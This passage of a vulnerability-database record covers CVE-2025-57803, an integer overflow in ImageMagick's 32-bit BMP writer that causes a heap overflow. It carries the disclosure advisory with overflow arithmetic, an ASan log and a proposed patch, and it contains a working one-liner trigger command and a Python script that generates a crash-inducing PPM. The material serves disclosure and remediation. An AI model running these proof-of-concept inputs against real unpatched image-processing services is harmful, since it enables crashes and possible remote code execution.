**below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.\n\n**Mismatch predicate (guaranteed OOB when overflowed):**  \nPer-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`.  \nUnder either overflow, `bytes_per_line` collapses → `3*width \u003e bytes_per_line` holds → **OOB-write**.\n\n---\n\n## Concrete Demonstration\n\nChosen width: **`W = 178,957,200`** (just over Stage-1 bound)\n\n- Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535**\n    \n- Divide by 32: `5535 / 32 = 172`\n    \n- Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride\n    \n- Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes`\n    \n- Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes`\n    \n- **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.\n    \n---\n\n## Observed Result (ASan excerpt)\n\n```\nERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 in WriteBMPImage coders/bmp.c:2309\n...\nallocated by:\n  AcquireVirtualMemory MagickCore/memory.c:747\n  WriteBMPImage coders/bmp.c:2092\n```\n\n- Binary: **ELF 32-bit i386**, Q8, non-HDRI\n    \n- Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)\n    \n\n---\n\n## Exploitability \u0026 Risk\n\n- **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.\n    \n- **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).\n    \n- **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N).\n    \n- **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.\n    \n\n**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.\n\n---\n\n## Reproduction (copy-paste triager script)\n\n**Test Environment:**\n\n- `docker run -it --rm --platform linux/386 debian:11 bash`\n    \n- Install deps: `apt-get update \u0026\u0026 apt-get install -y build-essential git autoconf automake libtool pkg-config python3`\n    \n- Clone \u0026 checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`\n    \n- Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):\n\n```bash\n./configure \\\n  --host=i686-pc-linux-gnu \\\n  --build=x86_64-pc-linux-gnu \\\n  --disable-dependency-tracking \\\n  --disable-silent-rules \\\n  --disable-shared \\\n  --disable-openmp \\\n  --disable-docs \\\n  --without-x \\\n  --without-perl \\\n  --without-magick-plus-plus \\\n  --without-lqr \\\n  --without-zstd \\\n  --without-tiff \\\n  --with-quantum-depth=8 \\\n  --disable-hdri \\\n  CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n  CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n  LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j\"$(nproc)\"\n```\n- Runtime limits to exercise writer:\n\n```bash\nexport MAGICK_WIDTH_LIMIT=200000000\nexport MAGICK_HEIGHT_LIMIT=200000000\nexport MAGICK_TEMPORARY_PATH=/tmp\nexport TMPDIR=/tmp\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0\"\n```\n\n**One-liner trigger (no input file):**\n\n```bash\nW=178957200\n./utilities/magick \\\n  -limit width 200000000 -limit height 200000000 \\\n  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \\\n  -limit thread 1 \\\n  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null\n```\n\n**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).\n\n**Alternate PoC (raw PPM generator):**\n\n```python\n#!/usr/bin/env python3\nW, H, MAXV = 180_000_000, 1, 255              \n# W \u003e 178,956,969\nwith open(\"huge.ppm\", \"wb\") as f:\n    f.write(f\"P6\\n{W} {H}\\n{MAXV}\\n\".encode(\"ascii\"))\n    chunk = (b\"\\x41\\x42\\x43\") * (1024*1024)\n    remaining = 3 * W\n    while remaining:\n        n = min(remaining, len(chunk))\n        f.write(chunk[:n]); remaining -= n\n# Then: magick huge.ppm out.bmp\n```\n\n---\n\n## Proposed Severity\n\n- **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical**\n    \n- **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**\n    \n\n---\n\n## Maintainer Pushbacks — Pre-empted\n\n- **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.\n    \n- **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.\n    \n- **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct.\n    \n---\n\n## Remediation (Summary)\n\nAdd checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.\n\nConcretely:\n\n- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.\n- Compute row_bytes for the chosen bpp and assert row_bytes \u003c= bytes_per_line.\n- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.\n\nA full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).\n\n---\n\n## Regression Tests to Include (PR-friendly)\n\n1. **32-bit overflow repros** (with ASan):\n    \n    - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors.\n        \n    - `rows=2`, same bound → no row overlap; clean error.\n        \n2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`.\n    \n3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.\n\n---\n\n## Attachments (private BMP_Package) \nProvided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)\n\n---\n\n## Disclosure \u0026 Coordination\n\n- **Reporter:** Lumina Mescuwa\n    \n- **Tested on:** i686 Linux container (details in Repro)\n    \n- **Timeline:** August 19th, 2025\n    \n\n---\n\n## Appendices\n\n### Appendix A — Patch block tailored to  `bmp.c`\n\n**Where this hooks in (current code):**\n\n- Stride is computed here: `bytes_per_line=4*((image-\u003ecolumns*bmp_info.bits_per_pixel+31)/32);`\n    \n- Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image-\u003erows);`\n    \n- Allocation uses `AcquireVirtualMemory(image-\u003erows, MagickMax(bytes_per_line, image-\u003ecolumns+256UL)*sizeof(*pixels));`\n    \n- 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image-\u003ecolumns; x \u003c (ssize_t)bytes_per_line; x++) *q++=0x00;`\n    \n\n---\n\n## Suggested Patch (minimal surface, guards + invariant)\n\nI recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.\n\n```c\n/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */\n\n/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */\nif (bmp_info.bits_per_pixel == 0 ||\n    (size_t)image-\u003ecolumns \u003e (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nsize_t _tmp = (size_t)image-\u003ecolumns * (size_t)bmp_info.bits_per_pixel + 31;\n/* Divide first; then check the final ×4 won't overflow. */\n_tmp /= 32;\nif (_tmp \u003e (SIZE_MAX / 4))\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nbytes_per_line = 4 * _tmp;  /* same formula as before, now checked */\n\n/* 2) Compute the actual data bytes written per row for the chosen bpp. */\nsize_t row_bytes;\nif (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {\n  /* packed: ceil(width*bpp/8) */\n  if ((size_t)image-\u003ecolumns \u003e (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)\n    ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n  row_bytes = (((size_t)image-\u003ecolumns * (size_t)bmp_info.bits_per_pixel) + 7) \u003e\u003e 3;\n} else {\n  /* 16/24/32 bpp: (bpp/8) * width */\n  size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;\n  if (bpp_bytes == 0 || (size_t)image-\u003ecolumns \u003e SIZE_MAX / bpp_bytes)\n    ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n  row_bytes = bpp_bytes * (size_t)image-\u003ecolumns;\n}\n\n/* 3) Per-row safety invariant: the payload must fit the stride. */\nif (row_bytes \u003e bytes_per_line)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\n/* 4) Guard header size and allocation products. */\nif ((size_t)image-\u003erows == 0)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\n/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */\nif (bytes_per_line \u003e 0xFFFFFFFFu / (size_t)image-\u003erows)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\nbmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image-\u003erows);\n\n/* Allocation count = rows * stride_used, with existing MagickMax policy. */\nsize_t _stride = MagickMax(bytes_per_line, (size_t)image-\u003ecolumns + 256UL);\nif (_stride \u003e SIZE_MAX / (size_t)image-\u003erows)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\npixel_info = AcquireVirtualMemory((size_t)image-\u003erows, _stride * sizeof(*pixels));\nif (pixel_info == (MemoryInfo *) NULL)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n\n/* Optional: keep zeroing aligned to computed header size. */\n(void) memset(pixels, 0, (size_t) bmp_info.image_size);\n\n/* --- PATCH END --- */\n```\n\n### Why this is the right spot?\n\n- It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). \n    \n- It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. \n    \n- It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. \n    \n- The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. \n    \n\n---\n\n## Notes\n\n- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. \n    \n- **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. \n    \n- **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) \u0026 ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.\n    \n\nA slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.\n\n\n\n### Appendix B — Arithmetic Worked Example (W=178,957,200)\n\n- `(24W + 31) mod 2^32 = 5535`\n    \n- `bytes_per_line = 4 * (5535/32) = 688`\n    \n- `row_bytes (24-bpp) = 536,871,600`\n    \n- Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.\n    \n\n### Appendix C — Raw ASan Log (trimmed)\n\n```\n=================================================================\n==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 at 0x6eaac490 thread T0\n    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309\n    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342\n    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564\n0x6eaac490 is located 0 bytes to the right of 178957456-byte region\nallocated by thread T0 here:\n    #0 0x408e30ab in __interceptor_posix_memalign\n    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747\n    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092\n```","status":"published","published":"2025-08-26T16:07:27Z","modified":"2025-11-03T21:34:26Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-122","CWE-190"],"updated_at":"2026-11-02T14:39:04.350802Z"}],"nvd":[{"id":"CVE-2025-57803","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.","status":"published","published":"2025-08-26T18:15:47.78Z","modified":"2026-06-17T09:43:27.917Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-122","CWE-190"],"updated_at":"2026-11-02T14:11:25.826804Z"}],"osv":[{"id":"ALPINE-CVE-2025-57803","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.","status":"published","published":"2025-08-26T18:15:47.78Z","modified":"2026-11-03T06:33:00.903589432Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2025-57803","title":"ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.","status":"published","published":"2025-08-26T17:25:59.148Z","modified":"2026-11-06T13:09:30.434216564Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-122","CWE-190"],"updated_at":"2026-11-06T13:44:21.739016Z"},{"id":"DEBIAN-CVE-2025-57803","description":"ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-28 and 7.1.2-2 for ImageMagick's 32-bit build, a 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. This issue has been patched in versions 6.9.13-28 and 7.1.2-2.","status":"published","published":"2025-08-26T18:15:47.78Z","modified":"2026-09-01T20:05:54.531864214Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:47.697959Z"},{"id":"GHSA-mxvv-97wh-cfmm","title":"ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow","description":"## Summary\n\nA 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.\n\n- **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**.\n    \n- **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.\n    \n- **32-bit:** **Vulnerable** (reproduced with ASan).\n    \n- **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.\n    \n- **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n    \n\n---\n\n## Scope \u0026 Affected Builds\n\n- **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).\n    \n- **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`\n    \n- **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`\n    \n- **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.\n    \n- **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.\n    \n\n---\n\n## Root Cause (with code anchors)\n\n### Stride computation (writer)\n\n```c\nbytes_per_line = 4 * ((image-\u003ecolumns * bmp_info.bits_per_pixel + 31) / 32);\n```\n\n### Per-row base and 24-bpp loop (writer)\n\n```c\nq = pixels + ((ssize_t)image-\u003erows - y - 1) * (ssize_t)bytes_per_line;\nfor (x = 0; x \u003c (ssize_t)image-\u003ecolumns; x++) {\n  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes\n}\n```\n\n### Allocation (writer)\n\n```c\npixel_info = AcquireVirtualMemory(image-\u003erows,\n    MagickMax(bytes_per_line, image-\u003ecolumns + 256UL) * sizeof(*pixels));\npixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);\n```\n\n### Dimension “caps” (insufficient)\n\nThe writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.\n\n---\n\n## Integer-Overflow Analysis (32-bit `size_t`)\n\nStride formula for 24-bpp:\n\n```\nbytes_per_line = 4 * ((width * 24 + 31) / 32)\n```\n\nThere are **two independent overflow hazards** on 32-bit:\n\n1. **Stage-1 multiply+add** in `(width * 24 + 31)`  \n    Overflow iff `width \u003e ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969`  \n    → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`.\n    \n2. **Stage-2 final ×4** after the division  \n    Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q \u003e 0x3FFFFFFF`.  \n    Solving gives **width ≥ 1,431,655,765 (0x55555555)**.\n    \n\nBoth thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.\n\n**Mismatch predicate (guaranteed OOB when overflowed):**  \nPer-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`.  \nUnder either overflow, `bytes_per_line` collapses → `3*width \u003e bytes_per_line` holds → **OOB-write**.\n\n---\n\n## Concrete Demonstration\n\nChosen width: **`W = 178,957,200`** (just over Stage-1 bound)\n\n- Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535**\n    \n- Divide by 32: `5535 / 32 = 172`\n    \n- Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride\n    \n- Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes`\n    \n- Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes`\n    \n- **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.\n    \n---\n\n## Observed Result (ASan excerpt)\n\n```\nERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 in WriteBMPImage coders/bmp.c:2309\n...\nallocated by:\n  AcquireVirtualMemory MagickCore/memory.c:747\n  WriteBMPImage coders/bmp.c:2092\n```\n\n- Binary: **ELF 32-bit i386**, Q8, non-HDRI\n    \n- Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)\n    \n\n---\n\n## Exploitability \u0026 Risk\n\n- **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.\n    \n- **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).\n    \n- **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N).\n    \n- **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.\n    \n\n**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.\n\n---\n\n## Reproduction (copy-paste triager script)\n\n**Test Environment:**\n\n- `docker run -it --rm --platform linux/386 debian:11 bash`\n    \n- Install deps: `apt-get update \u0026\u0026 apt-get install -y build-essential git autoconf automake libtool pkg-config python3`\n    \n- Clone \u0026 checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`\n    \n- Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):\n\n```bash\n./configure \\\n  --host=i686-pc-linux-gnu \\\n  --build=x86_64-pc-linux-gnu \\\n  --disable-dependency-tracking \\\n  --disable-silent-rules \\\n  --disable-shared \\\n  --disable-openmp \\\n  --disable-docs \\\n  --without-x \\\n  --without-perl \\\n  --without-magick-plus-plus \\\n  --without-lqr \\\n  --without-zstd \\\n  --without-tiff \\\n  --with-quantum-depth=8 \\\n  --disable-hdri \\\n  CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n  CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n  LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j\"$(nproc)\"\n```\n- Runtime limits to exercise writer:\n\n```bash\nexport MAGICK_WIDTH_LIMIT=200000000\nexport MAGICK_HEIGHT_LIMIT=200000000\nexport MAGICK_TEMPORARY_PATH=/tmp\nexport TMPDIR=/tmp\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0\"\n```\n\n**One-liner trigger (no input file):**\n\n```bash\nW=178957200\n./utilities/magick \\\n  -limit width 200000000 -limit height 200000000 \\\n  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \\\n  -limit thread 1 \\\n  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null\n```\n\n**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).\n\n**Alternate PoC (raw PPM generator):**\n\n```python\n#!/usr/bin/env python3\nW, H, MAXV = 180_000_000, 1, 255              \n# W \u003e 178,956,969\nwith open(\"huge.ppm\", \"wb\") as f:\n    f.write(f\"P6\\n{W} {H}\\n{MAXV}\\n\".encode(\"ascii\"))\n    chunk = (b\"\\x41\\x42\\x43\") * (1024*1024)\n    remaining = 3 * W\n    while remaining:\n        n = min(remaining, len(chunk))\n        f.write(chunk[:n]); remaining -= n\n# Then: magick huge.ppm out.bmp\n```\n\n---\n\n## Proposed Severity\n\n- **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical**\n    \n- **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**\n    \n\n---\n\n## Maintainer Pushbacks — Pre-empted\n\n- **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.\n    \n- **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.\n    \n- **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct.\n    \n---\n\n## Remediation (Summary)\n\nAdd checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.\n\nConcretely:\n\n- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.\n- Compute row_bytes for the chosen bpp and assert row_bytes \u003c= bytes_per_line.\n- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.\n\nA full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).\n\n---\n\n## Regression Tests to Include (PR-friendly)\n\n1. **32-bit overflow repros** (with ASan):\n    \n    - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors.\n        \n    - `rows=2`, same bound → no row overlap; clean error.\n        \n2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`.\n    \n3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.\n\n---\n\n## Attachments (private BMP_Package) \nProvided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)\n\n---\n\n## Disclosure \u0026 Coordination\n\n- **Reporter:** Lumina Mescuwa\n    \n- **Tested on:** i686 Linux container (details in Repro)\n    \n- **Timeline:** August 19th, 2025\n    \n\n---\n\n## Appendices\n\n### Appendix A — Patch block tailored to  `bmp.c`\n\n**Where this hooks in (current code):**\n\n- Stride is computed here: `bytes_per_line=4*((image-\u003ecolumns*bmp_info.bits_per_pixel+31)/32);`\n    \n- Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image-\u003erows);`\n    \n- Allocation uses `AcquireVirtualMemory(image-\u003erows, MagickMax(bytes_per_line, image-\u003ecolumns+256UL)*sizeof(*pixels));`\n    \n- 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image-\u003ecolumns; x \u003c (ssize_t)bytes_per_line; x++) *q++=0x00;`\n    \n\n---\n\n## Suggested Patch (minimal surface, guards + invariant)\n\nI recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.\n\n```c\n/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */\n\n/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */\nif (bmp_info.bits_per_pixel == 0 ||\n    (size_t)image-\u003ecolumns \u003e (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nsize_t _tmp = (size_t)image-\u003ecolumns * (size_t)bmp_info.bits_per_pixel + 31;\n/* Divide first; then check the final ×4 won't overflow. */\n_tmp /= 32;\nif (_tmp \u003e (SIZE_MAX / 4))\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\nbytes_per_line = 4 * _tmp;  /* same formula as before, now checked */\n\n/* 2) Compute the actual data bytes written per row for the chosen bpp. */\nsize_t row_bytes;\nif (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {\n  /* packed: ceil(width*bpp/8) */\n  if ((size_t)image-\u003ecolumns \u003e (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)\n    ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n  row_bytes = (((size_t)image-\u003ecolumns * (size_t)bmp_info.bits_per_pixel) + 7) \u003e\u003e 3;\n} else {\n  /* 16/24/32 bpp: (bpp/8) * width */\n  size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;\n  if (bpp_bytes == 0 || (size_t)image-\u003ecolumns \u003e SIZE_MAX / bpp_bytes)\n    ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n  row_bytes = bpp_bytes * (size_t)image-\u003ecolumns;\n}\n\n/* 3) Per-row safety invariant: the payload must fit the stride. */\nif (row_bytes \u003e bytes_per_line)\n  ThrowWriterException(ResourceLimitError, \"MemoryAllocationFailed\");\n\n/* 4) Guard header size and allocation products. */\nif ((size_t)image-\u003erows == 0)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\n\n/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */\nif (bytes_per_line \u003e 0xFFFFFFFFu / (size_t)image-\u003erows)\n  ThrowWriterException(ImageError, \"WidthOrHeightExceedsLimit\");\nbmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image-\u003erows);\n\n/* Allocation count = rows * stride_used, with existing MagickMax policy. */\nsize_t 